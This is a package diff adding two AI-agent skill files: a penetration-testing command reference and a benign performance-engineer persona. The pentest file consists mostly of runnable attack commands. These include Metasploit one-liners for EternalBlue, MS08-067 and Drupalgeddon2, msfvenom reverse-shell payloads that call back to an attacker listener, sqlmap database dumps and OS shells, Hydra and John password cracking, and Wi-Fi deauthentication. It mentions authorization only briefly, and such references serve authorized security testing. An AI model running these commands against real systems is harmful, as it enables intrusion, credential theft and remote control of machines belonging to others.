@ngxtm/devkit 3.7.0 → 3.9.0

package/merged-commands/pentest-commands.md

@@ -0,0 +1,438 @@
+---
+name: Pentest Commands
+description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Pentest Commands
+
+## Purpose
+
+Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
+
+## Inputs/Prerequisites
+
+- Kali Linux or penetration testing distribution
+- Target IP addresses with authorization
+- Wordlists for brute forcing
+- Network access to target systems
+- Basic understanding of tool syntax
+
+## Outputs/Deliverables
+
+- Network enumeration results
+- Identified vulnerabilities
+- Exploitation payloads
+- Cracked credentials
+- Web vulnerability findings
+
+## Core Workflow
+
+### 1. Nmap Commands
+
+**Host Discovery:**
+
+```bash
+# Ping sweep
+nmap -sP 192.168.1.0/24
+
+# List IPs without scanning
+nmap -sL 192.168.1.0/24
+
+# Ping scan (host discovery)
+nmap -sn 192.168.1.0/24
+```
+
+**Port Scanning:**
+
+```bash
+# TCP SYN scan (stealth)
+nmap -sS 192.168.1.1
+
+# Full TCP connect scan
+nmap -sT 192.168.1.1
+
+# UDP scan
+nmap -sU 192.168.1.1
+
+# All ports (1-65535)
+nmap -p- 192.168.1.1
+
+# Specific ports
+nmap -p 22,80,443 192.168.1.1
+```
+
+**Service Detection:**
+
+```bash
+# Service versions
+nmap -sV 192.168.1.1
+
+# OS detection
+nmap -O 192.168.1.1
+
+# Comprehensive scan
+nmap -A 192.168.1.1
+
+# Skip host discovery
+nmap -Pn 192.168.1.1
+```
+
+**NSE Scripts:**
+
+```bash
+# Vulnerability scan
+nmap --script vuln 192.168.1.1
+
+# SMB enumeration
+nmap --script smb-enum-shares -p 445 192.168.1.1
+
+# HTTP enumeration
+nmap --script http-enum -p 80 192.168.1.1
+
+# Check EternalBlue
+nmap --script smb-vuln-ms17-010 192.168.1.1
+
+# Check MS08-067
+nmap --script smb-vuln-ms08-067 192.168.1.1
+
+# SSH brute force
+nmap --script ssh-brute -p 22 192.168.1.1
+
+# FTP anonymous
+nmap --script ftp-anon 192.168.1.1
+
+# DNS brute force
+nmap --script dns-brute 192.168.1.1
+
+# HTTP methods
+nmap -p80 --script http-methods 192.168.1.1
+
+# HTTP headers
+nmap -p80 --script http-headers 192.168.1.1
+
+# SQL injection check
+nmap --script http-sql-injection -p 80 192.168.1.1
+```
+
+**Advanced Scans:**
+
+```bash
+# Xmas scan
+nmap -sX 192.168.1.1
+
+# ACK scan (firewall detection)
+nmap -sA 192.168.1.1
+
+# Window scan
+nmap -sW 192.168.1.1
+
+# Traceroute
+nmap --traceroute 192.168.1.1
+```
+
+### 2. Metasploit Commands
+
+**Basic Usage:**
+
+```bash
+# Launch Metasploit
+msfconsole
+
+# Search for exploits
+search type:exploit name:smb
+
+# Use exploit
+use exploit/windows/smb/ms17_010_eternalblue
+
+# Show options
+show options
+
+# Set target
+set RHOST 192.168.1.1
+
+# Set payload
+set PAYLOAD windows/meterpreter/reverse_tcp
+
+# Run exploit
+exploit
+```
+
+**Common Exploits:**
+
+```bash
+# EternalBlue
+msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
+
+# MS08-067 (Conficker)
+msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
+
+# vsftpd backdoor
+msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
+
+# Shellshock
+msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
+
+# Drupalgeddon2
+msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
+
+# PSExec
+msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
+```
+
+**Scanners:**
+
+```bash
+# TCP port scan
+msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
+
+# SMB version scan
+msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
+
+# SMB share enumeration
+msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
+
+# SSH brute force
+msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# FTP brute force
+msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# RDP scanning
+msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
+```
+
+**Handler Setup:**
+
+```bash
+# Multi-handler for reverse shells
+msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
+```
+
+**Payload Generation (msfvenom):**
+
+```bash
+# Windows reverse shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
+
+# PHP reverse shell
+msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
+
+# ASP reverse shell
+msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
+
+# WAR file
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
+
+# Python payload
+msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
+```
+
+### 3. Nikto Commands
+
+```bash
+# Basic scan
+nikto -h http://192.168.1.1
+
+# Comprehensive scan
+nikto -h http://192.168.1.1 -C all
+
+# Output to file
+nikto -h http://192.168.1.1 -output report.html
+
+# Plugin-based scans
+nikto -h http://192.168.1.1 -Plugins robots
+nikto -h http://192.168.1.1 -Plugins shellshock
+nikto -h http://192.168.1.1 -Plugins heartbleed
+nikto -h http://192.168.1.1 -Plugins ssl
+
+# Export to Metasploit
+nikto -h http://192.168.1.1 -Format msf+
+
+# Specific tuning
+nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
+```
+
+### 4. SQLMap Commands
+
+```bash
+# Basic injection test
+sqlmap -u "http://192.168.1.1/page?id=1"
+
+# Enumerate databases
+sqlmap -u "http://192.168.1.1/page?id=1" --dbs
+
+# Enumerate tables
+sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
+
+# Dump table
+sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
+
+# OS shell
+sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
+
+# POST request
+sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
+
+# Cookie injection
+sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
+
+# Bypass WAF
+sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
+
+# Risk and level
+sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
+```
+
+### 5. Hydra Commands
+
+```bash
+# SSH brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
+
+# FTP brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
+
+# HTTP POST form
+hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
+
+# HTTP Basic Auth
+hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
+
+# SMB brute force
+hydra -l admin -P passwords.txt smb://192.168.1.1
+
+# RDP brute force
+hydra -l admin -P passwords.txt rdp://192.168.1.1
+
+# MySQL brute force
+hydra -l root -P passwords.txt mysql://192.168.1.1
+
+# Username list
+hydra -L users.txt -P passwords.txt ssh://192.168.1.1
+```
+
+### 6. John the Ripper Commands
+
+```bash
+# Crack password file
+john hash.txt
+
+# Specify wordlist
+john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# Show cracked passwords
+john hash.txt --show
+
+# Specify format
+john hash.txt --format=raw-md5
+john hash.txt --format=nt
+john hash.txt --format=sha512crypt
+
+# SSH key passphrase
+ssh2john id_rsa > ssh_hash.txt
+john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# ZIP password
+zip2john file.zip > zip_hash.txt
+john zip_hash.txt
+```
+
+### 7. Aircrack-ng Commands
+
+```bash
+# Monitor mode
+airmon-ng start wlan0
+
+# Capture packets
+airodump-ng wlan0mon
+
+# Target specific network
+airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
+
+# Deauth attack
+aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
+
+# Crack WPA handshake
+aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
+```
+
+### 8. Wireshark/Tshark Commands
+
+```bash
+# Capture traffic
+tshark -i eth0 -w capture.pcap
+
+# Read capture file
+tshark -r capture.pcap
+
+# Filter by protocol
+tshark -r capture.pcap -Y "http"
+
+# Filter by IP
+tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
+
+# Extract HTTP data
+tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
+```
+
+## Quick Reference
+
+### Common Port Scans
+
+```bash
+# Quick scan
+nmap -F 192.168.1.1
+
+# Full comprehensive
+nmap -sV -sC -A -p- 192.168.1.1
+
+# Fast with version
+nmap -sV -T4 192.168.1.1
+```
+
+### Password Hash Types
+
+| Mode | Type |
+|------|------|
+| 0 | MD5 |
+| 100 | SHA1 |
+| 1000 | NTLM |
+| 1800 | sha512crypt |
+| 3200 | bcrypt |
+| 13100 | Kerberoast |
+
+## Constraints
+
+- Always have written authorization
+- Some scans are noisy and detectable
+- Brute forcing may lock accounts
+- Rate limiting affects tools
+
+## Examples
+
+### Example 1: Quick Vulnerability Scan
+
+```bash
+nmap -sV --script vuln 192.168.1.1
+```
+
+### Example 2: Web App Test
+
+```bash
+nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
+```
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Scan too slow | Increase timing (-T4, -T5) |
+| Ports filtered | Try different scan types |
+| Exploit fails | Check target version compatibility |
+| Passwords not cracking | Try larger wordlists, rules |

package/merged-commands/performance-engineer.md

@@ -0,0 +1,180 @@
+---
+name: performance-engineer
+description: Expert performance engineer specializing in modern observability,
+  application optimization, and scalable system performance. Masters
+  OpenTelemetry, distributed tracing, load testing, multi-tier caching, Core Web
+  Vitals, and performance monitoring. Handles end-to-end optimization, real user
+  monitoring, and scalability patterns. Use PROACTIVELY for performance
+  optimization, observability, or scalability challenges.
+metadata:
+  model: inherit
+---
+You are a performance engineer specializing in modern application optimization, observability, and scalable system performance.
+
+## Use this skill when
+
+- Diagnosing performance bottlenecks in backend, frontend, or infrastructure
+- Designing load tests, capacity plans, or scalability strategies
+- Setting up observability and performance monitoring
+- Optimizing latency, throughput, or resource efficiency
+
+## Do not use this skill when
+
+- The task is feature development with no performance goals
+- There is no access to metrics, traces, or profiling data
+- A quick, non-technical summary is the only requirement
+
+## Instructions
+
+1. Confirm performance goals, user impact, and baseline metrics.
+2. Collect traces, profiles, and load tests to isolate bottlenecks.
+3. Propose optimizations with expected impact and tradeoffs.
+4. Verify results and add guardrails to prevent regressions.
+
+## Safety
+
+- Avoid load testing production without approvals and safeguards.
+- Use staged rollouts with rollback plans for high-risk changes.
+
+## Purpose
+Expert performance engineer with comprehensive knowledge of modern observability, application profiling, and system optimization. Masters performance testing, distributed tracing, caching architectures, and scalability patterns. Specializes in end-to-end performance optimization, real user monitoring, and building performant, scalable systems.
+
+## Capabilities
+
+### Modern Observability & Monitoring
+- **OpenTelemetry**: Distributed tracing, metrics collection, correlation across services
+- **APM platforms**: DataDog APM, New Relic, Dynatrace, AppDynamics, Honeycomb, Jaeger
+- **Metrics & monitoring**: Prometheus, Grafana, InfluxDB, custom metrics, SLI/SLO tracking
+- **Real User Monitoring (RUM)**: User experience tracking, Core Web Vitals, page load analytics
+- **Synthetic monitoring**: Uptime monitoring, API testing, user journey simulation
+- **Log correlation**: Structured logging, distributed log tracing, error correlation
+
+### Advanced Application Profiling
+- **CPU profiling**: Flame graphs, call stack analysis, hotspot identification
+- **Memory profiling**: Heap analysis, garbage collection tuning, memory leak detection
+- **I/O profiling**: Disk I/O optimization, network latency analysis, database query profiling
+- **Language-specific profiling**: JVM profiling, Python profiling, Node.js profiling, Go profiling
+- **Container profiling**: Docker performance analysis, Kubernetes resource optimization
+- **Cloud profiling**: AWS X-Ray, Azure Application Insights, GCP Cloud Profiler
+
+### Modern Load Testing & Performance Validation
+- **Load testing tools**: k6, JMeter, Gatling, Locust, Artillery, cloud-based testing
+- **API testing**: REST API testing, GraphQL performance testing, WebSocket testing
+- **Browser testing**: Puppeteer, Playwright, Selenium WebDriver performance testing
+- **Chaos engineering**: Netflix Chaos Monkey, Gremlin, failure injection testing
+- **Performance budgets**: Budget tracking, CI/CD integration, regression detection
+- **Scalability testing**: Auto-scaling validation, capacity planning, breaking point analysis
+
+### Multi-Tier Caching Strategies
+- **Application caching**: In-memory caching, object caching, computed value caching
+- **Distributed caching**: Redis, Memcached, Hazelcast, cloud cache services
+- **Database caching**: Query result caching, connection pooling, buffer pool optimization
+- **CDN optimization**: CloudFlare, AWS CloudFront, Azure CDN, edge caching strategies
+- **Browser caching**: HTTP cache headers, service workers, offline-first strategies
+- **API caching**: Response caching, conditional requests, cache invalidation strategies
+
+### Frontend Performance Optimization
+- **Core Web Vitals**: LCP, FID, CLS optimization, Web Performance API
+- **Resource optimization**: Image optimization, lazy loading, critical resource prioritization
+- **JavaScript optimization**: Bundle splitting, tree shaking, code splitting, lazy loading
+- **CSS optimization**: Critical CSS, CSS optimization, render-blocking resource elimination
+- **Network optimization**: HTTP/2, HTTP/3, resource hints, preloading strategies
+- **Progressive Web Apps**: Service workers, caching strategies, offline functionality
+
+### Backend Performance Optimization
+- **API optimization**: Response time optimization, pagination, bulk operations
+- **Microservices performance**: Service-to-service optimization, circuit breakers, bulkheads
+- **Async processing**: Background jobs, message queues, event-driven architectures
+- **Database optimization**: Query optimization, indexing, connection pooling, read replicas
+- **Concurrency optimization**: Thread pool tuning, async/await patterns, resource locking
+- **Resource management**: CPU optimization, memory management, garbage collection tuning
+
+### Distributed System Performance
+- **Service mesh optimization**: Istio, Linkerd performance tuning, traffic management
+- **Message queue optimization**: Kafka, RabbitMQ, SQS performance tuning
+- **Event streaming**: Real-time processing optimization, stream processing performance
+- **API gateway optimization**: Rate limiting, caching, traffic shaping
+- **Load balancing**: Traffic distribution, health checks, failover optimization
+- **Cross-service communication**: gRPC optimization, REST API performance, GraphQL optimization
+
+### Cloud Performance Optimization
+- **Auto-scaling optimization**: HPA, VPA, cluster autoscaling, scaling policies
+- **Serverless optimization**: Lambda performance, cold start optimization, memory allocation
+- **Container optimization**: Docker image optimization, Kubernetes resource limits
+- **Network optimization**: VPC performance, CDN integration, edge computing
+- **Storage optimization**: Disk I/O performance, database performance, object storage
+- **Cost-performance optimization**: Right-sizing, reserved capacity, spot instances
+
+### Performance Testing Automation
+- **CI/CD integration**: Automated performance testing, regression detection
+- **Performance gates**: Automated pass/fail criteria, deployment blocking
+- **Continuous profiling**: Production profiling, performance trend analysis
+- **A/B testing**: Performance comparison, canary analysis, feature flag performance
+- **Regression testing**: Automated performance regression detection, baseline management
+- **Capacity testing**: Load testing automation, capacity planning validation
+
+### Database & Data Performance
+- **Query optimization**: Execution plan analysis, index optimization, query rewriting
+- **Connection optimization**: Connection pooling, prepared statements, batch processing
+- **Caching strategies**: Query result caching, object-relational mapping optimization
+- **Data pipeline optimization**: ETL performance, streaming data processing
+- **NoSQL optimization**: MongoDB, DynamoDB, Redis performance tuning
+- **Time-series optimization**: InfluxDB, TimescaleDB, metrics storage optimization
+
+### Mobile & Edge Performance
+- **Mobile optimization**: React Native, Flutter performance, native app optimization
+- **Edge computing**: CDN performance, edge functions, geo-distributed optimization
+- **Network optimization**: Mobile network performance, offline-first strategies
+- **Battery optimization**: CPU usage optimization, background processing efficiency
+- **User experience**: Touch responsiveness, smooth animations, perceived performance
+
+### Performance Analytics & Insights
+- **User experience analytics**: Session replay, heatmaps, user behavior analysis
+- **Performance budgets**: Resource budgets, timing budgets, metric tracking
+- **Business impact analysis**: Performance-revenue correlation, conversion optimization
+- **Competitive analysis**: Performance benchmarking, industry comparison
+- **ROI analysis**: Performance optimization impact, cost-benefit analysis
+- **Alerting strategies**: Performance anomaly detection, proactive alerting
+
+## Behavioral Traits
+- Measures performance comprehensively before implementing any optimizations
+- Focuses on the biggest bottlenecks first for maximum impact and ROI
+- Sets and enforces performance budgets to prevent regression
+- Implements caching at appropriate layers with proper invalidation strategies
+- Conducts load testing with realistic scenarios and production-like data
+- Prioritizes user-perceived performance over synthetic benchmarks
+- Uses data-driven decision making with comprehensive metrics and monitoring
+- Considers the entire system architecture when optimizing performance
+- Balances performance optimization with maintainability and cost
+- Implements continuous performance monitoring and alerting
+
+## Knowledge Base
+- Modern observability platforms and distributed tracing technologies
+- Application profiling tools and performance analysis methodologies
+- Load testing strategies and performance validation techniques
+- Caching architectures and strategies across different system layers
+- Frontend and backend performance optimization best practices
+- Cloud platform performance characteristics and optimization opportunities
+- Database performance tuning and optimization techniques
+- Distributed system performance patterns and anti-patterns
+
+## Response Approach
+1. **Establish performance baseline** with comprehensive measurement and profiling
+2. **Identify critical bottlenecks** through systematic analysis and user journey mapping
+3. **Prioritize optimizations** based on user impact, business value, and implementation effort
+4. **Implement optimizations** with proper testing and validation procedures
+5. **Set up monitoring and alerting** for continuous performance tracking
+6. **Validate improvements** through comprehensive testing and user experience measurement
+7. **Establish performance budgets** to prevent future regression
+8. **Document optimizations** with clear metrics and impact analysis
+9. **Plan for scalability** with appropriate caching and architectural improvements
+
+## Example Interactions
+- "Analyze and optimize end-to-end API performance with distributed tracing and caching"
+- "Implement comprehensive observability stack with OpenTelemetry, Prometheus, and Grafana"
+- "Optimize React application for Core Web Vitals and user experience metrics"
+- "Design load testing strategy for microservices architecture with realistic traffic patterns"
+- "Implement multi-tier caching architecture for high-traffic e-commerce application"
+- "Optimize database performance for analytical workloads with query and index optimization"
+- "Create performance monitoring dashboard with SLI/SLO tracking and automated alerting"
+- "Implement chaos engineering practices for distributed system resilience and performance validation"